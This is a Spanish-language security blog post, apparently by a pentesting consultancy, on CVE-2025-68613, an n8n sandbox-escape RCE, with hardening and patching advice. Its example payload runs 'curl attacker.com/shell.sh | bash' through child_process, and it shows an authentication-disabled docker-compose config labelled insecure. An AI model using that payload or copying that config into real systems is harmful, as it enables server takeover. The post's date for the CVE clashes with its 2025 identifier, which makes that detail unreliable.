🔧
VulnerabilidadesDevSecOpsn8nPentestingWorkflow SecurityAutomatización Segura

CVE-2025-68613: Tu Automatización de n8n Puede Ser Tu Mayor Brecha

La vulnerabilidad crítica CVE-2025-68613 afecta +100K instancias de n8n. Descubre cómo proteger tu infraestructura de automatización ahora.

📅7 de enero de 2026
👤Juan Camilo Palacio Alvarez
⏱️11 min de lectura

CVE-2025-68613: Tu Automatización de n8n Puede Ser Tu Mayor Brecha

Mientras tu equipo de ingeniería revisa cada línea de código en producción, existe una herramienta con acceso a tus APIs, bases de datos y servicios críticos que probablemente nunca ha pasado por un pentest: tu plataforma de automatización de workflows.

El 27 de diciembre de 2024, n8n publicó una alerta de seguridad que confirmó lo que muchos expertos en pentesting ya sospechábamos: las herramientas de automatización low-code son el punto ciego de seguridad más peligroso en startups modernas. CVE-2025-68613, con una puntuación CVSS de 9.9 (crítica), permite a atacantes ejecutar código arbitrario en más de 100,000 instancias vulnerables de n8n a nivel mundial.

Si tu startup usa n8n, Make, Zapier o cualquier herramienta de automatización para conectar servicios críticos, este post es para ti.

El Punto Ciego de Seguridad en Startups

Las startups SaaS B2B tienen un patrón común: invierten tiempo y recursos en asegurar su aplicación principal (pentesting, revisión de código, firewall de aplicaciones web), pero las herramientas de automatización que conectan todo el ecosistema quedan fuera del radar de seguridad.

Piénsalo así:

  • Tu API en producción: Revisada, testeada, con límites de peticiones y autenticación robusta
  • Tu aplicación Vue/React: Auditada, con políticas de seguridad de contenido, validación de datos de entrada
  • Tu n8n auto-hospedado: Con acceso a todo lo anterior, ejecutando workflows sin revisión de seguridad

Cuando hacemos pentesting para startups, las integraciones de terceros y herramientas de automatización son siempre nuestro primer objetivo. ¿Por qué? Porque tienen:

  • Acceso privilegiado a múltiples sistemas
  • Ejecución de código dinámico
  • Configuraciones por defecto inseguras
  • Visibilidad limitada en registros de seguridad

CVE-2025-68613 confirma exactamente este patrón de riesgo.

CVE-2025-68613: Anatomía del Ataque

¿Qué es CVE-2025-68613?

CVE-2025-68613 es una vulnerabilidad de inyección de expresiones que permite escapar del entorno aislado y lograr Ejecución Remota de Código (RCE) en n8n. La severidad es máxima porque:

  • Puntuación CVSS: 9.9 (Crítico)
  • Vector de Ataque: Red (puede explotarse remotamente)
  • Complejidad: Baja (no requiere habilidades avanzadas)
  • Privilegios Requeridos: Ninguno en configuraciones por defecto
  • Interacción del Usuario: No requerida

Versiones Afectadas:

  • n8n < 1.68.0 (todas las versiones anteriores son vulnerables)

Versión Parcheada:

  • n8n >= 1.68.0

¿Cómo Funciona el Ataque?

n8n permite usar expresiones JavaScript dentro de los workflows para transformar datos. Estas expresiones se ejecutan en un "entorno aislado" (sandbox) que supuestamente aísla el código del sistema principal. El problema es que este aislamiento puede evadirse.

El ataque en 3 pasos:

  1. Inyección de Expresiones: El atacante inyecta código malicioso en una expresión de n8n
  2. Escape del Entorno Aislado: El código malicioso escapa del aislamiento usando técnicas de manipulación de prototipos o manipulación de contexto
  3. Ejecución Remota de Código: Una vez fuera del aislamiento, el atacante ejecuta comandos arbitrarios en el servidor host

Ejemplo Técnico Simplificado

Un workflow vulnerable de n8n podría verse así:

JavaScript
// Workflow que procesa input del usuario
{
  "nodes": [
    {
      "name": "Process Data",
      "type": "n8n-nodes-base.function",
      "parameters": {
        "functionCode": "return { output: {{$json.userInput}} }"
      }
    }
  ]
}

Si userInput contiene:

JavaScript
}}; process.mainModule.require('child_process').exec('curl attacker.com/shell.sh | bash'); //

El resultado es RCE completo en el servidor que ejecuta n8n.

¿Por Qué es Especialmente Peligroso para Startups?

Las startups usan n8n para:

  • Integrar CRM con bases de datos
  • Automatizar webhooks de clientes
  • Procesar pagos y facturación
  • Sincronizar datos entre servicios

Si un atacante compromete tu instancia de n8n, obtiene acceso a:

  • Credenciales de APIs (Stripe, AWS, Twilio, etc.)
  • Datos de clientes en tránsito
  • Bases de datos conectadas
  • Infraestructura cloud (si n8n corre en EC2/GCP/Azure)

No es solo una vulnerabilidad: es una llave maestra a tu infraestructura completa.

La Perspectiva del Pentester

Cuando auditamos startups, las herramientas de automatización son nuestro objetivo prioritario por estas razones:

1. Visibilidad Limitada

n8n y herramientas similares rara vez están integradas en:

  • Sistemas de gestión de eventos e información de seguridad (SIEM)
  • Monitoreo de seguridad centralizado
  • Alertas de actividad sospechosa

Un atacante puede extraer datos durante semanas sin que nadie lo note.

2. Configuraciones Inseguras por Defecto

Hemos encontrado instancias de n8n con:

  • Autenticación básica con contraseñas débiles
  • Expuestas a internet sin VPN o firewall
  • Ejecutando workflows de terceros sin revisión
  • Sin límite de peticiones en webhooks públicos

3. Acceso Privilegiado Acumulado

Un patrón común: cada vez que se agrega una integración, se le da acceso "administrador" porque "es más fácil". Con el tiempo, n8n termina con más privilegios que cualquier otro sistema.

4. Falta de Testing de Seguridad

En nuestras auditorías, el 90% de las startups tienen:

  • Pentests de su aplicación principal ✅
  • Revisiones de código de su repositorio principal ✅
  • Pentest de su n8n/Zapier/Make ❌

Código Vulnerable vs Código Seguro

Configuración Vulnerable

YAML
# docker-compose.yml - INSEGURO
version: '3'
services:
  n8n:
    image: n8nio/n8n:latest
    ports:
      - "5678:5678"  # Expuesto a internet
    environment:
      - N8N_BASIC_AUTH_ACTIVE=false  # Sin autenticación
      - EXECUTIONS_DATA_SAVE_ON_ERROR=all
      - EXECUTIONS_DATA_SAVE_ON_SUCCESS=all

Problemas:

  • Sin autenticación
  • Puerto expuesto directamente
  • Sin límites de ejecución
  • Sin registro de eventos externo

Configuración Segura

YAML
# docker-compose.yml - SEGURO
version: '3'
services:
  n8n:
    image: n8nio/n8n:1.68.0  # Versión parcheada específica
    ports:
      - "127.0.0.1:5678:5678"  # Solo localhost
    environment:
      - N8N_BASIC_AUTH_ACTIVE=true
      - N8N_BASIC_AUTH_USER=${N8N_USER}
      - N8N_BASIC_AUTH_PASSWORD=${N8N_PASSWORD_HASH}
      - N8N_SECURE_COOKIE=true
      - N8N_HOST=n8n.internal.tuempresa.com
      - EXECUTIONS_TIMEOUT=300  # Timeout de 5min
      - EXECUTIONS_DATA_SAVE_ON_ERROR=all
      - EXECUTIONS_DATA_SAVE_MANUAL_EXECUTIONS=false
    volumes:
      - ./n8n-data:/home/node/.n8n
      - /var/log/n8n:/var/log/n8n  # Logs externos
    networks:
      - internal
    restart: unless-stopped

  nginx:
    image: nginx:alpine
    ports:
      - "443:443"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
      - ./ssl:/etc/nginx/ssl
    depends_on:
      - n8n
    networks:
      - internal

networks:
  internal:
    driver: bridge

Mejoras:

  • Autenticación obligatoria
  • Solo accesible vía proxy inverso con SSL
  • Tiempos límite configurados
  • Registros persistentes
  • Red interna aislada
  • Versión específica (no latest)

El Patrón de Ataque Más Amplio

CVE-2025-68613 no es un caso aislado. Es parte de un patrón más amplio de vulnerabilidades en herramientas low-code/no-code:

Casos Similares Recientes

HerramientaCVETipoCVSSAño
n8nCVE-2025-68613RCE vía Inyección de Expresiones9.92024
VM2 SandboxCVE-2023-37466Escape de Entorno Aislado9.82023
Node-REDCVE-2024-28237Inyección de Código8.82024
RetoolMultipleXSS a RCE8.52023

¿Por Qué las Herramientas Low-Code Son Vulnerables?

  1. Ejecución Dinámica de Código: Por diseño, permiten ejecutar código arbitrario (la funcionalidad es el problema)
  2. Aislamiento Complejo: Aislar JavaScript correctamente es extremadamente difícil
  3. Superficie de Ataque Amplia: Múltiples integraciones = múltiples vectores
  4. Adopción Rápida sin Revisión de Seguridad: Startups las implementan sin pentesting previo

Checklist de Seguridad para Workflows de Automatización

Si usas n8n, Make, Zapier, o herramientas similares, implementa esto HOY:

Inmediato (Próximas 24h)

  • Verificar versión de n8n: docker exec n8n n8n --version o revisar en la interfaz
  • Actualizar a n8n >= 1.68.0 si estás en versión vulnerable
  • Rotar todas las credenciales almacenadas en n8n (claves de API, tokens)
  • Revisar workflows públicos: Deshabilitar webhooks que acepten datos de entrada sin validación

Corto Plazo (Próxima semana)

  • Implementar autenticación robusta: Mínimo autenticación básica con contraseñas fuertes, idealmente inicio de sesión único (SSO)
  • Aislar en red privada: n8n NO debe estar expuesto directamente a internet
  • Configurar proxy inverso con SSL/TLS y límite de peticiones
  • Habilitar registro detallado: Enviar registros a sistema centralizado (ELK, Datadog, etc.)
  • Implementar principio de mínimo privilegio: Revisar cada integración y reducir permisos

Medio Plazo (Próximo mes)

  • Pentest de infraestructura de integraciones: Auditar n8n y todas las herramientas de automatización
  • Implementar monitoreo de seguridad: Alertas para ejecuciones sospechosas, tiempos límite excedidos, errores
  • Documentar todos los workflows: Qué hacen, qué accesos tienen, quién los mantiene
  • Establecer proceso de revisión: Todo workflow nuevo debe pasar por revisión de seguridad

Conexión con Compliance: SOC2, ISO27001 y Auditorías

Si tu startup está en proceso de obtener certificaciones de seguridad (SOC2, ISO27001) o si clientes enterprise te piden revisiones de seguridad, las herramientas de automatización son un punto de auditoría crítico.

Lo Que Buscan los Auditores

SOC2 (Criterios de Servicios de Confianza):

  • CC6.1: ¿Cómo controlas el acceso lógico a sistemas críticos? (n8n es un sistema crítico si tiene acceso a producción)
  • CC6.6: ¿Implementas controles de segregación de funciones?
  • CC7.2: ¿Monitoreas actividad de sistemas para detectar anomalías?

ISO27001 (Controles Relevantes):

  • A.9.1.2: Acceso a redes y servicios de red
  • A.9.4.1: Restricción de acceso a la información
  • A.12.6.1: Gestión de vulnerabilidades técnicas
  • A.14.2.1: Política de desarrollo seguro

Cómo CVE-2025-68613 Afecta Tu Compliance

Si un auditor descubre que:

  1. Tu n8n está en versión vulnerable DESPUÉS de que el parche esté disponible
  2. No tienes proceso de gestión de parches documentado
  3. n8n tiene acceso a sistemas críticos sin controles adecuados

Resultado: Hallazgos graves que pueden bloquear tu certificación o cerrar negociaciones con clientes enterprise.

Recomendaciones para Compliance

  1. Documenta tu proceso de gestión de parches: Cómo te enteras de CVEs, cómo priorizas, tiempo de respuesta comprometido
  2. Incluye n8n en tu inventario de activos: Con nivel de criticidad, responsable, y controles aplicados
  3. Implementa controles compensatorios: Si no puedes aplicar el parche inmediatamente, aísla el sistema
  4. Evidencia tus controles: Registros de actualizaciones, configuraciones seguras, pentests realizados

Acción Inmediata: Verifica Tu Versión

Si usas n8n, verifica AHORA si estás vulnerable:

Docker

Bash
# Verificar versión actual
docker exec <container-name> n8n --version

# Si es < 1.68.0, actualizar:
docker pull n8nio/n8n:1.68.0
docker-compose down
docker-compose up -d

npm/Node.js

Bash
# Verificar versión
n8n --version

# Actualizar
npm update -g n8n

Kubernetes

Bash
# Verificar versión del deployment
kubectl get deployment n8n -o jsonpath='{.spec.template.spec.containers[0].image}'

# Actualizar imagen
kubectl set image deployment/n8n n8n=n8nio/n8n:1.68.0

Conclusión: La Seguridad es un Sistema, No un Componente

CVE-2025-68613 es un recordatorio de que la seguridad de tu startup no se mide por qué tan segura es tu aplicación principal, sino por qué tan seguro es el eslabón más débil de tu infraestructura.

Las herramientas de automatización como n8n son increíblemente poderosas y nos permiten mover rápido como startups. Pero ese mismo poder las convierte en objetivos críticos para atacantes.

La buena noticia es que protegerlas no requiere recursos masivos. Requiere:

  • Visibilidad: Saber qué herramientas tienes y qué hacen
  • Proceso: Incluirlas en tu gestión de parches y pentesting
  • Configuración: Seguir mejores prácticas de endurecimiento de seguridad

Si llevas meses sin revisar la seguridad de tu n8n, Make, Zapier, o herramientas similares, este es el momento.

¿Tu Startup Usa Herramientas de Automatización?

Un pentest de tu infraestructura de integraciones puede revelar vectores de ataque que no sabías que tenías. En Pentacode, ayudamos a startups SaaS B2B en LATAM a identificar y remediar vulnerabilidades ANTES de que se conviertan en brechas.

No esperes a que un auditor o un atacante encuentre tus puntos ciegos.

Agenda una evaluación de seguridad aquí →

Referencias


Sobre el Autor

Juan Camilo Palacio Alvarez es el fundador de Pentacode, consultora especializada en pentesting y desarrollo seguro para startups SaaS B2B en LATAM. Con experiencia auditando infraestructuras de automatización, ayudamos a equipos técnicos a identificar y remediar vulnerabilidades críticas antes de que impacten el negocio.

¿Necesitas una segunda opinión sobre la seguridad de tu infraestructura? Conéctate en LinkedIn o agenda una consulta en pentacode.dev.

Compartir artículo:

🛡️

¿Listo para proteger tu aplicación?

Agenda una consultoría gratuita y descubre cómo nuestros servicios de pentesting pueden ayudarte a identificar vulnerabilidades.

Chatea con nosotros